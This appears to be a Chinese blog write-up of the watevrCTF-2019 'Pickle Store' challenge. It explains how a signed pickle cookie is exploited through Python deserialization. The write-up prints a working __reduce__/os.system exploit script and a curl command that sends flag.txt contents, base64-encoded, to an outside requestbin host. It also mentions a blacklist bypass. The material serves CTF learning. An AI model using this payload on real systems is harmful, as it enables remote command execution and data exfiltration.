[watevrCTF-2019]Pickle Store pickle序列化漏洞~~

本文详细解析了如何通过发现并利用pickle反序列化漏洞,成功绕过系统限制,执行任意命令的过程。从初步分析到最终攻击,文章展示了如何解码base64字符串,使用Python的pickle库进行loads操作,以及如何构造并执行exp代码。

题目介绍

在这里插入图片描述要有1000美元买flag,然后我们查看header,扫目录之类的操作,最后在cookie中发现问题~~

gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

先试试base64解码~~
在这里插入图片描述可以看见有些关键词还是很明显的,要么是经过某种加密,或者处理~~
根据题目pickle的提示,我们用python的pickle库去loads一下~~
在这里插入图片描述我开始以为是要伪造cookie,让money变成1000以上就能购买flag了,但是pickle有key加密处理,这种加密方式为hmac,尝试过爆破,无果~~
最后在网上看见了pickle的反序列化的漏洞~~

exp

import _pickle as cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print base64.b64encode(cPickle.dumps(PickleRce()))

这段代码就是我们的exp
执行方式为

python3 script.py 命令

windows和linux的运行方式不一样,由于服务器实在linux上,所以我们也必须在linux上运行这段代码~~
然后替换cookie,虽然会报500错误,但是命令还是执行了,我们找个vps,直接把数据带出来就行了

python3 posix.py "curl http://http.requestbin.buuoj.cn/1fl5yzt1?a=\`cat flag.txt |base64\`"

相关总结

python序列化还有一个库叫做marshal,也存在相关漏洞~~
有时后pickle时,题目会以黑名单限制,这个时候我们可以用map绕过~~

参考链接

简书
tr1ple师傅
hmac爆破

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值